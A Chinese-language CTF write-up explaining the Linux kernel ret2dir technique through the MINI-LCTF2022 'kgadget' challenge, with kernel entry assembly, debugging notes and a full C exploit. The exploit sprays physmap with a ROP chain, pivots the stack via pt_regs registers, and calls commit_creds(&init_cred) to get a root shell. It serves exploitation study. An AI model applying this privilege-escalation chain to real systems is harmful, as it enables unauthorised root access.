论如何逐渐偏离主题:ret2dir看不懂→看内存相关源码解析→想调试看页表初始化→找不到入口从BIOS开始调试→调试到页表初始化结束→终于结束了开始ret2dir
感觉干了几天跟没干一样,但确实对内存映射有了实感,勉强算一种收获吧(以后再也不钻牛角尖了我发誓╥﹏╥…)
先说明一下一个用到的结构体pt_regs
pt_regs
pt_regs结构体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| struct pt_regs {
unsigned long r15; unsigned long r14; unsigned long r13; unsigned long r12; unsigned long bp; unsigned long bx;
unsigned long r11; unsigned long r10; unsigned long r9; unsigned long r8; unsigned long ax; unsigned long cx; unsigned long dx; unsigned long si; unsigned long di;
unsigned long orig_ax;
unsigned long ip; unsigned long cs; unsigned long flags; unsigned long sp; unsigned long ss;
};
|
在进行系统调用之前会把寄存器入栈,入栈的结构和pt_regs相符(是正着的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| SYM_CODE_START(entry_SYSCALL_64) UNWIND_HINT_EMPTY
swapgs /* tss.sp2 is scratch space. */ movq %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2) SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
SYM_INNER_LABEL(entry_SYSCALL_64_safe_stack, SYM_L_GLOBAL)
/* Construct struct pt_regs on stack */ pushq $__USER_DS /* pt_regs->ss */ pushq PER_CPU_VAR(cpu_tss_rw + TSS_sp2) /* pt_regs->sp */ pushq %r11 /* pt_regs->flags */ pushq $__USER_CS /* pt_regs->cs */ pushq %rcx /* pt_regs->ip */ SYM_INNER_LABEL(entry_SYSCALL_64_after_hwframe, SYM_L_GLOBAL) pushq %rax /* pt_regs->orig_ax */
PUSH_AND_CLEAR_REGS rax=$-ENOSYS
/* IRQs are off. */ movq %rax, %rdi movq %rsp, %rsi call do_syscall_64 /* returns with IRQs disabled */ ……
|
有一部分压栈操作在PUSH_AND_CLERT_REGS宏里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| .macro PUSH_AND_CLEAR_REGS rdx=%rdx rax=%rax save_ret=0 .if \save_ret pushq %rsi movq 8(%rsp), %rsi movq %rdi, 8(%rsp) .else pushq %rdi pushq %rsi .endif pushq \rdx pushq %rcx pushq \rax pushq %r8 pushq %r9 pushq %r10 pushq %r11 pushq %rbx pushq %rbp pushq %r12 pushq %r13 pushq %r14 pushq %r15 UNWIND_HINT_REGS ……
|
例题:MINI-LCTF2022 - kgadget
arttnba3师傅的博客讲的很清楚的了就不说了
调试过程
进入call rbx,程序跳至gadget:
1 2 3 4 5 6
| add rsp, 0xa0 pop rbx pop r12 pop r13 pop rbp ret
|
执行完gadget后栈顶是储存r9的地址,之后就是try_hit
执行完r9的pop rsp后try_hit被pop到rsp中,栈就被搬到了direct mapping area里
之后ret就会执行写入的ROP链
exp
这次使用commit_creds(&init_cred)提权
ps:要注意一下ioctl的第三个参数是个指针,不是直接数值传递所以必须将gadget先写进一块内核空间,即direct mapping area
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| #include "kernel.h"
#define ADD_RSP_0XA0_POP_RBX_POP_R12_POP_R13_POP_RBP_RET 0xffffffff810737fe #define RET 0xffffffff8108c6f1 #define POP_RDI_RET 0xffffffff8108c6f0 #define INIT_CRED 0xffffffff82a6b700 #define COMMIT_CREDS 0xffffffff810c92e0; #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00fb0 + 27
size_t pop_rsp_ret = 0xffffffff811483d0; size_t *physmap_spray_arr[16000]; int fd; size_t try_hit;
void construct_rop_chain(size_t *rop) { int i = 0; rop[i++] = ADD_RSP_0XA0_POP_RBX_POP_R12_POP_R13_POP_RBP_RET; for(i = 1; i <= (0xa0 + 4 * 8) / 8; i++) rop[i] = (size_t)0; rop[i++] = POP_RDI_RET; rop[i++] = INIT_CRED; rop[i++] = COMMIT_CREDS; rop[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE; rop[i++] = (size_t)0; rop[i++] = (size_t)0; rop[i++] = (size_t)get_root_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp + 8; rop[i++] = user_ss; }
int main() { save_status();
fd = open_dev("/dev/kgadget"); if(fd < 0) fail_print("Open Error!"); int page_size = sysconf(_SC_PAGESIZE); size_t rop_chain[page_size / sizeof(size_t)]; construct_rop_chain(rop_chain); trying_print("Spraying physmap..."); int i; for(i = 0; i < 15000; i++) { physmap_spray_arr[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if(!physmap_spray_arr[i]) fail_print("Mmap Error!"); memcpy(physmap_spray_arr[i], rop_chain, page_size); }
trying_print("trigger physmap one_gadget..."); try_hit = 0xffff888000000000 + 0x7000000; __asm__( "mov r15, 0xbeefdead;" "mov r14, 0x11111111;" "mov r13, 0x22222222;" "mov r12, 0x33333333;" "mov rbp, 0x44444444;" "mov rbx, 0x55555555;" "mov r11, 0x66666666;" "mov r10, 0x77777777;" "mov r9, pop_rsp_ret;" "mov r8, try_hit;" "mov rax, 0x10;" "mov rcx, 0xaaaaaaaa;" "mov rdx, try_hit;" "mov rsi, 0x1bf52;" "mov rdi, fd;" "syscall" ); return 0; }
|